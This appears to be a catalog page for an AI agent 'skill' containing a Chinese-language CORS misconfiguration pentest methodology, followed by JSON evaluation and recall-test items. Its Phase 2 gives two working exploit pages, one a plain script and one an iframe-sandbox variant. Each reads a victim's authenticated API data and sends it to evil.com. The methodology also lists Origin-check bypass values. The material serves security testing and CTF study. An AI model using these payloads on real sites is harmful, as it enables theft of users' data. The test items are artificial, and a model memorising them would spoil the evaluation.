Cors Misconfiguration

Name: Cors Misconfiguration
Author: wgpsec

wgpsec/aboutsecurity

15 installs
1.6k repo stars
Updated July 19, 2026
wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

cors-misconfiguration is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

cors-misconfiguration
AI & Agent Building
AI-coding skill

Cors Misconfiguration by the numbers

15 all-time installs (skills.sh)
Ranked #11,187 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
Data as of Aug 5, 2026 (Skillselion catalog sync)

npx skills add https://github.com/wgpsec/aboutsecurity --skill cors-misconfiguration

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

[![Listed on Skillselion](https://skillselion.com/badge/skills/wgpsec/aboutsecurity/cors-misconfiguration.svg)](https://skillselion.com/skills/wgpsec/aboutsecurity/cors-misconfiguration)

Installs	15
repo stars	★ 1.6k
Last updated	July 19, 2026
Repository	wgpsec/aboutsecurity ↗

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

CORS 配置错误方法论

CORS（Cross-Origin Resource Sharing）错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 两个响应头。

Phase 1: 检测 CORS 配置

1.1 发送带 Origin 的请求

http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"}

检查响应头：

Access-Control-Allow-Origin: https://evil.com → 反射任意 Origin（危险）
Access-Control-Allow-Origin: * → 通配符（通常无法携带 Cookie）
Access-Control-Allow-Credentials: true → 允许携带 Cookie（和反射 Origin 组合 = 严重漏洞）
无 ACAO 头 → CORS 正确拒绝

1.2 测试 Origin 校验绕过

# 空 Origin
Origin: null

# 子域名
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# 前缀/后缀匹配
Origin: https://attackertarget.com
Origin: https://target.com.attacker.com

# 特殊协议
Origin: http://target.com  (HTTPS 站点接受 HTTP Origin)

1.3 危险组合判断

Allow-Origin	Allow-Credentials	风险等级
反射任意 Origin	true	严重 — 可跨域窃取用户数据
`null`	true	高 — iframe sandbox 可设置 null origin
`*`	false	低 — 不能携带 Cookie，通常只暴露公开数据
固定白名单	true	安全（除非白名单中有你控制的域名）

Phase 2: 利用 CORS 错误配置

2.1 反射 Origin + Credentials（最常见）

目标返回：

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

构造窃取页面：

<script>
fetch('http://target/api/userinfo', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    // 发送到攻击者服务器
    fetch('http://evil.com/log?data=' + JSON.stringify(data));
  });
</script>

2.2 null Origin 利用

如果 Access-Control-Allow-Origin: null，用 iframe sandbox 触发：

<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('http://target/api/userinfo', {credentials: 'include'})
      .then(r => r.text())
      .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d)));
  </script>
"></iframe>

Phase 3: 数据获取

CORS 利用成功后，可以读取的敏感数据：

用户个人信息（/api/profile, /api/userinfo）
API 密钥和 Token
内部 API 数据
管理员面板数据

CTF 中：Flag 通常在需要管理员 Cookie 才能访问的 API 中。

注意事项

CORS 漏洞需要受害者访问攻击者页面才能触发（类似 CSRF/XSS）
纯 Access-Control-Allow-Origin: * 不允许 credentials: include，风险较低
检查 preflight（OPTIONS）请求的处理——有些框架只在 GET 上设置 CORS，不在 OPTIONS 上

{
  "skill_name": "cors-misconfiguration",
  "evals": [
    {
      "id": 1,
      "name": "cors-null-origin-iframe-sandbox",
      "prompt": "目标 API /api/userinfo 对 Origin: evil.com 返回 403，但对 Origin: null 返回 Access-Control-Allow-Origin: null 和 Access-Control-Allow-Credentials: true。请描述如何利用这个配置窃取数据。",
      "expected_output": "使用 iframe sandbox='allow-scripts' srcdoc 触发 null Origin 的跨域请求",
      "expectations": [
        "null origin|Origin: null|允许null",
        "iframe sandbox|allow-scripts|srcdoc",
        "sandbox|触发null origin|浏览器特性",
        "fetch|XMLHttpRequest|credentials: include",
        "窃取数据|跨域读取|发送到攻击者"
      ],
      "required_terms": [
        "null origin",
        "Origin: null",
        "iframe sandbox"
      ]
    },
    {
      "id": 2,
      "name": "cors-origin-validation-bypass",
      "prompt": "目标对 Origin 头做了校验：evil.com 被拒绝，target.com 正常。请描述至少 4 种绕过 Origin 校验的方式。",
      "expected_output": "前缀/后缀/子域名/HTTP 协议等多种绕过",
      "expectations": [
        "evil.target.com|子域名|子域控制",
        "target.com.evil.com|后缀匹配绕过",
        "attackertarget.com|前缀匹配绕过",
        "http://target.com|HTTPS接受HTTP|协议降级",
        "null|iframe sandbox|特殊Origin值"
      ],
      "required_terms": [
        "evil.target.com",
        "target.com.evil.com",
        "attackertarget.com"
      ]
    },
    {
      "id": 3,
      "name": "cors-danger-combination-assessment",
      "prompt": "以下三种 CORS 配置分别是什么风险等级？A) ACAO: * + 无 ACAC  B) ACAO: 反射Origin + ACAC: true  C) ACAO: null + ACAC: true",
      "expected_output": "A=低(不能带Cookie)，B=严重(可跨域窃取认证用户数据)，C=高(iframe sandbox可利用)",
      "expectations": [
        "通配符|*|不能带Cookie|低风险",
        "反射Origin|Credentials:true|严重|可窃取",
        "null|Credentials:true|高风险|iframe可利用",
        "Allow-Credentials|Cookie|认证|关键因素",
        "组合判断|两个头|同时满足"
      ],
      "required_terms": [
        "反射Origin",
        "Credentials:true",
        "null"
      ]
    }
  ]
}

{
  "skill_id": "cors-misconfiguration",
  "recall_tests": [
    {
      "id": 1,
      "type": "keyword_positive",
      "description": "核心关键词",
      "keywords": [
        "cors",
        "cross-origin",
        "跨域"
      ]
    },
    {
      "id": 2,
      "type": "keyword_positive",
      "description": "技术搜索",
      "keywords": [
        "access-control",
        "origin",
        "preflight"
      ]
    },
    {
      "id": 3,
      "type": "keyword_negative",
      "description": "不应被CSRF召回",
      "keywords": [
        "csrf token",
        "referer"
      ]
    }
  ],
  "llm_tests": [
    {
      "id": 1,
      "name": "cors-misconfiguration-scenario",
      "scenario": "目标 API 返回 Access-Control-Allow-Origin: * 头。请搜索 CORS 配置错误利用方法论。",
      "max_rounds": 2,
      "expect_tool_calls": [
        {
          "tool": "list_skills",
          "keyword_contains": "cors|跨域|origin|misconfiguration"
        },
        {
          "tool": "read_skill",
          "id": "cors-misconfiguration"
        }
      ]
    }
  ]
}